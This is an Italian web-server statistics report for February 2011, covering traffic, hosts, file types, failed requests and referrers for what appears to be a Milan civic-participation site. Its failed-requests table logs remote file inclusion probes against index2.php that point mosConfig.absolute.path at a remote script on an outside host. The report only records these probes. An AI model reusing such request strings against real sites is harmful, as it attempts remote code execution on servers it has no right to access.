Programma attivato Mar 01-Mar-2011 alle 08:01.
Analizzate le richieste da Mar 01-Feb-2011 alle 00:00 a Lun 28-Feb-2011 alle 23:57 (28,00 giorni).
(Altre statistiche: Inizio | Sommario generale | Resoconto giorni | Sommario ore del giorno | Sommario giorni della settimana | Resoconto settimane | Resoconto richieste | Resoconto host | Resoconto tipi di file | Resoconto insuccessi | Resoconto directory | Resoconto provenienze richieste | Resoconto siti di provenienza)
Questo rapporto elenca le statistiche riepilogative generali.
I valori in parentesi si riferiscono a i 7 giorni fino al 01-Mar-2011 08:01.
Richieste soddisfatte: 398.043 (85.969)
Media giornaliera di richieste soddisfatte: 14.216 (12.281)
Richieste di pagine soddisfatte: 41.707 (8.209)
Media giornaliera di richieste di pagine soddisfatte: 1.489 (1.172)
Richieste fallite: 2.911 (829)
File distinti richiesti: 3.731 (2.178)
Host distinti serviti: 6.910 (1.968)
Registrazioni nel log file non desiderate: 41.578
Quantitą totale di traffico: 2,69 gigabytes (564,61 megabytes)
Traffico medio giornaliero: 98,37 megabytes (80,66 megabytes)
(Altre statistiche: Inizio | Sommario generale | Resoconto giorni | Sommario ore del giorno | Sommario giorni della settimana | Resoconto settimane | Resoconto richieste | Resoconto host | Resoconto tipi di file | Resoconto insuccessi | Resoconto directory | Resoconto provenienze richieste | Resoconto siti di provenienza)
Questo rapporto elenca l'attivitą giornaliera.
Ogni unitą (
) rappresenta 80 richieste di pagine o frazione.
| data | #rich | #pag. | |
|---|---|---|---|
| 1-Feb-11 | 23361 | 2531 | ![]() |
| 2-Feb-11 | 13795 | 1369 | ![]() ![]() |
| 3-Feb-11 | 11762 | 1481 | ![]() ![]() ![]() |
| 4-Feb-11 | 11542 | 1787 | ![]() ![]() ![]() ![]() |
| 5-Feb-11 | 7736 | 1175 | ![]() ![]() ![]() ![]() |
| 6-Feb-11 | 6168 | 720 | ![]() ![]() |
| 7-Feb-11 | 15085 | 1677 | ![]() ![]() ![]() |
| 8-Feb-11 | 13860 | 1292 | ![]() ![]() |
| 9-Feb-11 | 21782 | 2696 | ![]() ![]() |
| 10-Feb-11 | 12899 | 1451 | ![]() ![]() ![]() |
| 11-Feb-11 | 14502 | 1611 | ![]() ![]() ![]() |
| 12-Feb-11 | 13694 | 1575 | ![]() ![]() |
| 13-Feb-11 | 10880 | 1293 | ![]() ![]() |
| 14-Feb-11 | 15551 | 1445 | ![]() ![]() ![]() |
| 15-Feb-11 | 18362 | 1765 | ![]() ![]() ![]() ![]() |
| 16-Feb-11 | 38828 | 2928 | ![]() ![]() ![]() |
| 17-Feb-11 | 14128 | 1455 | ![]() ![]() ![]() |
| 18-Feb-11 | 14642 | 1624 | ![]() ![]() ![]() |
| 19-Feb-11 | 10619 | 1334 | ![]() ![]() |
| 20-Feb-11 | 7808 | 792 | ![]() ![]() |
| 21-Feb-11 | 14042 | 1260 | ![]() |
| 22-Feb-11 | 24475 | 2031 | ![]() ![]() ![]() |
| 23-Feb-11 | 13128 | 1268 | ![]() |
| 24-Feb-11 | 11268 | 1092 | ![]() ![]() ![]() |
| 25-Feb-11 | 10887 | 1253 | ![]() |
| 26-Feb-11 | 6647 | 747 | ![]() ![]() |
| 27-Feb-11 | 7571 | 769 | ![]() ![]() |
| 28-Feb-11 | 13021 | 1286 | ![]() ![]() |
Giorno con maggior traffico: 16-Feb-11 (2.928 richieste di pagine).
(Altre statistiche: Inizio | Sommario generale | Resoconto giorni | Sommario ore del giorno | Sommario giorni della settimana | Resoconto settimane | Resoconto richieste | Resoconto host | Resoconto tipi di file | Resoconto insuccessi | Resoconto directory | Resoconto provenienze richieste | Resoconto siti di provenienza)
Questo rapporto elenca l'attivitą per ogni ora del giorno, calcolata cumulativamente su tutti i giorni analizzati.
Ogni unitą (
) rappresenta 80 richieste di pagine o frazione.
| hh | #rich | #pag. | |
|---|---|---|---|
| 0 | 10774 | 1312 | ![]() ![]() |
| 1 | 5902 | 963 | ![]() ![]() ![]() |
| 2 | 3115 | 627 | ![]() |
| 3 | 1652 | 605 | ![]() |
| 4 | 1316 | 722 | ![]() ![]() |
| 5 | 1104 | 552 | ![]() ![]() ![]() |
| 6 | 2079 | 662 | ![]() ![]() |
| 7 | 3291 | 718 | ![]() ![]() |
| 8 | 8477 | 1038 | ![]() ![]() ![]() |
| 9 | 19208 | 2486 | ![]() |
| 10 | 23282 | 2371 | ![]() ![]() ![]() ![]() |
| 11 | 22015 | 2195 | ![]() ![]() ![]() |
| 12 | 30866 | 2802 | ![]() ![]() |
| 13 | 28734 | 2688 | ![]() ![]() |
| 14 | 30642 | 2452 | ![]() ![]() ![]() ![]() ![]() |
| 15 | 29232 | 2415 | ![]() ![]() ![]() ![]() ![]() |
| 16 | 33906 | 2979 | ![]() ![]() ![]() |
| 17 | 30809 | 2751 | ![]() ![]() ![]() |
| 18 | 25362 | 2236 | ![]() ![]() ![]() |
| 19 | 19785 | 1641 | ![]() ![]() ![]() |
| 20 | 13246 | 1194 | ![]() ![]() ![]() ![]() |
| 21 | 16788 | 1999 | ![]() ![]() ![]() |
| 22 | 22813 | 2578 | ![]() ![]() |
| 23 | 13645 | 1721 | ![]() ![]() ![]() |
(Altre statistiche: Inizio | Sommario generale | Resoconto giorni | Sommario ore del giorno | Sommario giorni della settimana | Resoconto settimane | Resoconto richieste | Resoconto host | Resoconto tipi di file | Resoconto insuccessi | Resoconto directory | Resoconto provenienze richieste | Resoconto siti di provenienza)
Questo rapporto elenca l'attivitą per ogni giorno della settimana, calcolata cumulativamente su tutte le settimane analizzate.
Ogni unitą (
) rappresenta 200 richieste di pagine o frazione.
| gio | #rich | #pag. | |
|---|---|---|---|
| Dom | 32427 | 3574 | ![]() ![]() |
| Lun | 57699 | 5668 | ![]() ![]() ![]() ![]() |
| Mar | 80058 | 7619 | ![]() ![]() ![]() ![]() |
| Mer | 87533 | 8261 | ![]() ![]() ![]() |
| Gio | 50057 | 5479 | ![]() ![]() ![]() |
| Ven | 51573 | 6275 | ![]() |
| Sab | 38696 | 4831 | ![]() ![]() ![]() |
(Altre statistiche: Inizio | Sommario generale | Resoconto giorni | Sommario ore del giorno | Sommario giorni della settimana | Resoconto settimane | Resoconto richieste | Resoconto host | Resoconto tipi di file | Resoconto insuccessi | Resoconto directory | Resoconto provenienze richieste | Resoconto siti di provenienza)
Questo rapporto elenca l'attivitą settimanale.
Ogni unitą (
) rappresenta 400 richieste di pagine o frazione.
| in. sett. | #rich | #pag. | |
|---|---|---|---|
| 30-Gen-11 | 68196 | 8343 | ![]() ![]() ![]() |
| 6-Feb-11 | 97990 | 11022 | ![]() ![]() ![]() |
| 13-Feb-11 | 123010 | 11844 | ![]() ![]() ![]() ![]() |
| 20-Feb-11 | 88255 | 8443 | ![]() ![]() ![]() |
| 27-Feb-11 | 20592 | 2055 | ![]() ![]() |
Settimana con maggior traffico: quella che inizia il 13-Feb-11 (11.844 richieste di pagine).
(Altre statistiche: Inizio | Sommario generale | Resoconto giorni | Sommario ore del giorno | Sommario giorni della settimana | Resoconto settimane | Resoconto richieste | Resoconto host | Resoconto tipi di file | Resoconto insuccessi | Resoconto directory | Resoconto provenienze richieste | Resoconto siti di provenienza)
Questo rapporto elenca i files richiesti sul sito.

Elenco dei primi 200 file in ordine di numero di richieste, in ordine di numero di richieste.
(Altre statistiche: Inizio | Sommario generale | Resoconto giorni | Sommario ore del giorno | Sommario giorni della settimana | Resoconto settimane | Resoconto richieste | Resoconto host | Resoconto tipi di file | Resoconto insuccessi | Resoconto directory | Resoconto provenienze richieste | Resoconto siti di provenienza)
Questo rapporto elenca i computer che hanno richiesto files.

Elenco dei primi 30 host in ordine di numero di richieste, in ordine di numero di richieste.
| #rich | %byte | host |
|---|---|---|
| 13376 | 4,30% | 217.31.112.66 |
| 3031 | 0,32% | 95.224.202.111 |
| 2357 | 0,48% | 217.19.159.142 |
| 2332 | 2,45% | 67.195.112.241 |
| 1893 | 0,05% | 95.108.158.231 |
| 1647 | 0,46% | 89.96.217.12 |
| 1579 | 1,62% | 66.249.71.250 |
| 1500 | 1,79% | 66.249.72.20 |
| 1381 | 0,08% | 83.103.70.6 |
| 1356 | 0,35% | 89.96.0.33 |
| 1120 | 0,14% | 213.203.165.174 |
| 1058 | 0,17% | 82.54.136.71 |
| 1024 | 0,12% | 151.96.254.4 |
| 988 | 0,14% | 77.43.42.27 |
| 884 | 0,07% | 151.57.163.247 |
| 787 | 0,07% | 94.36.120.179 |
| 774 | 0,10% | 217.172.6.113 |
| 748 | 0,12% | 89.96.126.168 |
| 747 | 0,15% | 87.9.160.245 |
| 743 | 0,11% | 213.254.19.3 |
| 742 | 0,06% | 87.9.161.159 |
| 741 | 0,16% | 89.119.251.40 |
| 740 | 0,08% | 89.97.177.24 |
| 730 | 0,07% | 87.8.140.191 |
| 721 | 0,05% | 87.5.211.185 |
| 698 | 0,14% | 89.96.190.247 |
| 685 | 0,04% | 93.148.197.139 |
| 680 | 0,21% | 74.125.16.2 |
| 654 | 0,33% | 66.249.71.162 |
| 647 | 0,07% | 193.205.23.67 |
| 351680 | 85,72% | [non elencati: 6.880 host] |
(Altre statistiche: Inizio | Sommario generale | Resoconto giorni | Sommario ore del giorno | Sommario giorni della settimana | Resoconto settimane | Resoconto richieste | Resoconto host | Resoconto tipi di file | Resoconto insuccessi | Resoconto directory | Resoconto provenienze richieste | Resoconto siti di provenienza)
Questo rapporto elenca le estensioni dei files richiesti sul sito.

Elenco delle estensioni con almeno 0,1% del traffico, in ordine di traffico.
| #rich | %byte | estensione |
|---|---|---|
| 160145 | 43,34% | [nessuna estensione] |
| 122989 | 17,30% | .png |
| 31383 | 15,10% | .js |
| 20684 | 11,92% | .jpg |
| 19408 | 5,75% | .css |
| 30146 | 4,17% | .gif |
| 6564 | 1,23% | [directory] |
| 17 | 0,64% | |
| 6580 | 0,28% | .ico |
| 42 | 0,23% | .mov |
| 85 | 0,04% | [non elencate: 9 estensioni] |
(Altre statistiche: Inizio | Sommario generale | Resoconto giorni | Sommario ore del giorno | Sommario giorni della settimana | Resoconto settimane | Resoconto richieste | Resoconto host | Resoconto tipi di file | Resoconto insuccessi | Resoconto directory | Resoconto provenienze richieste | Resoconto siti di provenienza)
Questo rapporto elenca i files che hanno causato un insuccesso, per esempio files non trovati.

Elenco dei primi 30 file in ordine di numero di richieste fallite, in ordine di numero di richieste fallite.
| #rich | file |
|---|---|
| 1802 | /robots.txt |
| 68 | /js/)h.html(f |
| 68 | /js/)h.html(f?c( |
| 68 | /js/]} |
| 65 | /js/jit/)}}F.onPlaceLabel(O,D)}}) |
| 58 | /view/6 |
| 57 | /index2.php |
| 19 | /index2.php?option=com_content&mosConfig.absolute.path=http://sandiesangster.org/media/pandegaid.txt? |
| 12 | /index2.php?option=com_user&mosConfig.absolute.path=http://sandiesangster.org/media/pandegaid.txt? |
| 44 | /infodiscs/view/823 |
| 23 | /users/getavatar/218/30/30 |
| 15 | /MSOffice/cltreq.asp |
| 15 | /_vti_bin/owssvr.dll |
| 15 | /content/index2.php |
| 14 | /content/users/login |
| 10 | /files/markerset/mrkzzy0j2 |
| 10 | /infodiscs/index/1 |
| 10 | /proposals/index/1 |
| 9 | /files/banner_bg_cm2011.jpg |
| 9 | /files/logo_cm2011.png |
| 9 | /files/markerset/mrke1R3Dn |
| 8 | /infodiscs/view/809 |
| 8 | /users/getavatar/227/30/30 |
| 8 | /favicon.ico |
| 8 | /files/logo_rcm.png |
| 8 | /users/getavatar/8/30/30 |
| 8 | /infodiscs/view/522 |
| 7 | /infodiscs/index/4 |
| 7 | /img/icons/door_in.png |
| 6 | /img/icons/accept.png |
| 6 | /img/files/link.jpg |
| 6 | /content |
| 6 | /files/logo_partecipami.png |
| 524 | [non elencati: 325 file] |
(Altre statistiche: Inizio | Sommario generale | Resoconto giorni | Sommario ore del giorno | Sommario giorni della settimana | Resoconto settimane | Resoconto richieste | Resoconto host | Resoconto tipi di file | Resoconto insuccessi | Resoconto directory | Resoconto provenienze richieste | Resoconto siti di provenienza)
Questo rapporto elenca le directory dalle quali sono stati richiesti i files, comprese tutte le loro sottodirectory.

Elenco delle directory con almeno 1 richiesta di pagina, in ordine di numero di richieste di pagine.
| #rich | #pag. | directory |
|---|---|---|
| 20548 | 18706 | /infodiscs/ |
| 10684 | 10684 | /infodiscs/view/ |
| 10 | 10 | /infodiscs/view/305/ |
| 8 | 8 | /infodiscs/view/193/ |
| 5 | 5 | /infodiscs/view/522/ |
| 2 | 2 | /infodiscs/view/49/ |
| 2 | 2 | /infodiscs/view/313/ |
| 1 | 1 | /infodiscs/view/248/ |
| 3729 | 3693 | /infodiscs/index/ |
| 110 | 110 | /infodiscs/index/"/ |
| 101 | 101 | /infodiscs/index/infodiscs/ |
| 94 | 94 | /infodiscs/index/files/ |
| 10 | 10 | /infodiscs/index/1/ |
| 5 | 5 | /infodiscs/index/4/ |
| 2 | 2 | /infodiscs/index/2/ |
| 3623 | 3623 | /infodiscs/reply/ |
| 3 | 3 | /infodiscs/reply/88/ |
| 1 | 1 | /infodiscs/reply/"top/ |
| 461 | 461 | /infodiscs/getfile/ |
| 66 | 66 | /infodiscs/add/ |
| 45 | 45 | /infodiscs/upload/ |
| 8 | 8 | /infodiscs/upload/xax/ |
| 42 | 42 | /infodiscs/insertStarRating/ |
| 35 | 35 | /infodiscs/insertStarRating/InfodiscPost/ |
| 7 | 7 | /infodiscs/insertStarRating/Resource/ |
| 32 | 32 | /infodiscs/edit/ |
| 2 | 2 | /infodiscs/edit/823/ |
| 1 | 1 | /infodiscs/edit/729/ |
| 1 | 1 | /infodiscs/edit/770/ |
| 26 | 26 | /infodiscs/getimage/ |
| 8 | 8 | /infodiscs/getimage/85/ |
| 6 | 6 | /infodiscs/getimage/103/ |
| 5 | 5 | /infodiscs/getimage/113/ |
| 3 | 3 | /infodiscs/getimage/97/ |
| 3 | 3 | /infodiscs/getimage/61/ |
| 1 | 1 | /infodiscs/getimage/115/ |
| 19 | 19 | /infodiscs/editid/ |
| 8 | 8 | /infodiscs/editid/api/ |
| 7 | 7 | /infodiscs/get_discussions/ |
| 3 | 3 | /infodiscs/viewpossibleparents/ |
| 1 | 1 | /infodiscs/delete_resource/ |
| 10107 | 10107 | /proposals/ |
| 3283 | 3283 | /proposals/index/ |
| 1055 | 1055 | /proposals/index/"/ |
| 923 | 923 | /proposals/index/1/ |
| 1819 | 1819 | /proposals/get_list_sugg_prob/ |
| 1819 | 1819 | /proposals/get_list_sugg_prob/1/ |
| 1570 | 1570 | /proposals/suggestion_show/ |
| 1568 | 1568 | /proposals/suggestion_show/1/ |
| 1389 | 1389 | /proposals/problem_show/ |
| 1388 | 1388 | /proposals/problem_show/1/ |
| 1016 | 1016 | /proposals/argument_show/ |
| 1015 | 1015 | /proposals/argument_show/1/ |
| 690 | 690 | /proposals/ajax_get_next_arguments/ |
| 690 | 690 | /proposals/ajax_get_next_arguments/1/ |
| 82 | 82 | /proposals/suggestion_edit/ |
| 46 | 46 | /proposals/suggestion_edit/1/ |
| 75 | 75 | /proposals/getfile/ |
| 43 | 43 | /proposals/private_items/ |
| 38 | 38 | /proposals/problem_edit/ |
| 8 | 8 | /proposals/problem_edit/1/ |
| 26 | 26 | /proposals/argument_edit/ |
| 25 | 25 | /proposals/argument_edit/1/ |
| 25 | 25 | /proposals/ajax_moderate_item/ |
| 22 | 22 | /proposals/ajax_moderate_item/1/ |
| 24 | 24 | /proposals/ajax_cb_approvals/ |
| 24 | 24 | /proposals/ajax_cb_approvals/1/ |
| 7 | 7 | /proposals/suggestion_save/ |
| 7 | 7 | /proposals/suggestion_save/1/ |
| 2 | 2 | /proposals/ajax_delete_item/ |
| 12883 | 6303 | [directory principale] |
| 104896 | 3409 | /users/ |
| 1510 | 1510 | /users/listmembers/ |
| 172 | 172 | /users/listmembers/api/ |
| 20 | 20 | /users/listmembers/page:2/ |
| 14 | 14 | /users/listmembers/page:3/ |
| 8 | 8 | /users/listmembers/page:7/ |
| 8 | 8 | /users/listmembers/page:8/ |
| 7 | 7 | /users/listmembers/page:5/ |
| 3 | 3 | /users/listmembers/page:1/ |
| 183 | 183 | /users/viewprofile/ |
| 6 | 6 | /users/viewprofile/256/ |
| 4 | 4 | /users/viewprofile/63/ |
| 4 | 4 | /users/viewprofile/64/ |
| 4 | 4 | /users/viewprofile/258/ |
| 3 | 3 | /users/viewprofile/108/ |
| 3 | 3 | /users/viewprofile/245/ |
| 3 | 3 | /users/viewprofile/266/ |
| 3 | 3 | /users/viewprofile/212/ |
| 3 | 3 | /users/viewprofile/117/ |
| 3 | 3 | /users/viewprofile/174/ |
| 2 | 2 | /users/viewprofile/13/ |
| 2 | 2 | /users/viewprofile/71/ |
| 2 | 2 | /users/viewprofile/39/ |
| 2 | 2 | /users/viewprofile/95/ |
| 2 | 2 | /users/viewprofile/98/ |
| 2 | 2 | /users/viewprofile/261/ |
| 2 | 2 | /users/viewprofile/263/ |
| 2 | 2 | /users/viewprofile/146/ |
| 2 | 2 | /users/viewprofile/24/ |
| 2 | 2 | /users/viewprofile/218/ |
| 2 | 2 | /users/viewprofile/239/ |
| 1 | 1 | /users/viewprofile/259/ |
| 1 | 1 | /users/viewprofile/197/ |
| 1 | 1 | /users/viewprofile/199/ |
| 1 | 1 | /users/viewprofile/55/ |
| 1 | 1 | /users/viewprofile/93/ |
| 1 | 1 | /users/viewprofile/78/ |
| 1 | 1 | /users/viewprofile/202/ |
| 1 | 1 | /users/viewprofile/220/ |
| 1 | 1 | /users/viewprofile/240/ |
| 1 | 1 | /users/viewprofile/222/ |
| 1 | 1 | /users/viewprofile/160/ |
| 1 | 1 | /users/viewprofile/224/ |
| 1 | 1 | /users/viewprofile/107/ |
| 1 | 1 | /users/viewprofile/109/ |
| 1 | 1 | /users/viewprofile/228/ |
| 1 | 1 | /users/viewprofile/26/ |
| 1 | 1 | /users/viewprofile/80/ |
| 1 | 1 | /users/viewprofile/6/ |
| 1 | 1 | /users/viewprofile/115/ |
| 22 | 22 | /users/index/ |
| 13 | 13 | /users/api/ |
| 13 | 13 | /users/api/users/ |
| 12 | 12 | /users/editprofile/ |
| 9 | 9 | /users/edit/ |
| 3 | 3 | /users/regfieldsadmin/ |
| 3059 | 3059 | /content/ |
| 3036 | 3036 | /content/view/ |
| 3 | 3 | /content/view/8/ |
| 2 | 2 | /content/view/administrator/ |
| 2 | 2 | /content/view/2/ |
| 2 | 2 | /content/view/3/ |
| 2 | 2 | /content/view/4/ |
| 2 | 2 | /content/view/5/ |
| 2 | 2 | /content/view/5 / |
| 1 | 1 | /content/view/6 lindagne SWG Qui http:// |
| 23 | 23 | /content/edit/ |
| 3 | 3 | /content/edit/8/ |
| 95 | 95 | /personal/ |
| 21 | 21 | /personal/index/ |
| 2 | 2 | /personal/customize/ |
| 96964 | 17 | /files/ |
| 11 | 11 | /agenda/ |
| 5 | 5 | /agenda/editprocess/ |
| 5 | 5 | /agenda/edit/ |
| 1 | 1 | /agenda/index/ |
| 149480 | 0 | [non elencate: 5 directory] |
(Altre statistiche: Inizio | Sommario generale | Resoconto giorni | Sommario ore del giorno | Sommario giorni della settimana | Resoconto settimane | Resoconto richieste | Resoconto host | Resoconto tipi di file | Resoconto insuccessi | Resoconto directory | Resoconto provenienze richieste | Resoconto siti di provenienza)
Questo rapporto elenca i referenti (da quali pagine sono stati inviati i visitatori, oppure le pagine che includono immagini di questo sito).

Elenco delle prime 30 URL di provenienza in ordine di numero di richieste, in ordine di numero di richieste.
(Altre statistiche: Inizio | Sommario generale | Resoconto giorni | Sommario ore del giorno | Sommario giorni della settimana | Resoconto settimane | Resoconto richieste | Resoconto host | Resoconto tipi di file | Resoconto insuccessi | Resoconto directory | Resoconto provenienze richieste | Resoconto siti di provenienza)
Questo rapporto elenca da quali server i visitatori sono stati inviati.

Elenco dei primi 30 siti di provenienza in ordine di numero di richieste, in ordine di numero di richieste.
| #rich | sito |
|---|---|
| 3596 | http://www.google.it/ |
| 2843 | http://www.facebook.com/ |
| 2631 | http://comunalimilano2011.it/ |
| 1068 | http://milano.corriere.it/ |
| 587 | http://webcache.googleusercontent.com/ |
| 311 | http://www.google.com/ |
| 203 | http://www.partecipami.it/ |
| 86 | http://twitter.com/ |
| 59 | http://ricerca.virgilio.it/ |
| 44 | http://www.bing.com/ |
| 38 | http://fb.me/ |
| 34 | http://www.02blog.it/ |
| 28 | http://translate.googleusercontent.com/ |
| 25 | http://m.facebook.com/ |
| 24 | http://it.search.yahoo.com/ |
| 22 | http://webmailvtin.alice.it/ |
| 21 | http://mail.tiscali.it/ |
| 20 | http://it.mg41.mail.yahoo.com/ |
| 19 | http://www.123people.it/ |
| 17 | http://www.fondazionercm.it/ |
| 16 | http://www.wikiwix.com/ |
| 14 | http://co107w.col107.mail.live.com/ |
| 13 | http://it.answers.yahoo.com/ |
| 13 | http://fc.retecivica.milano.it/ |
| 13 | http://it.mg40.mail.yahoo.com/ |
| 13 | http://www.librandixmilano.it/ |
| 12 | http://www.google.ch/ |
| 12 | http://213.21.156.60/ |
| 11 | http://co104w.col104.mail.live.com/ |
| 11 | http://it.vivistats.com/ |
| 390 | [non elencati: 160 siti] |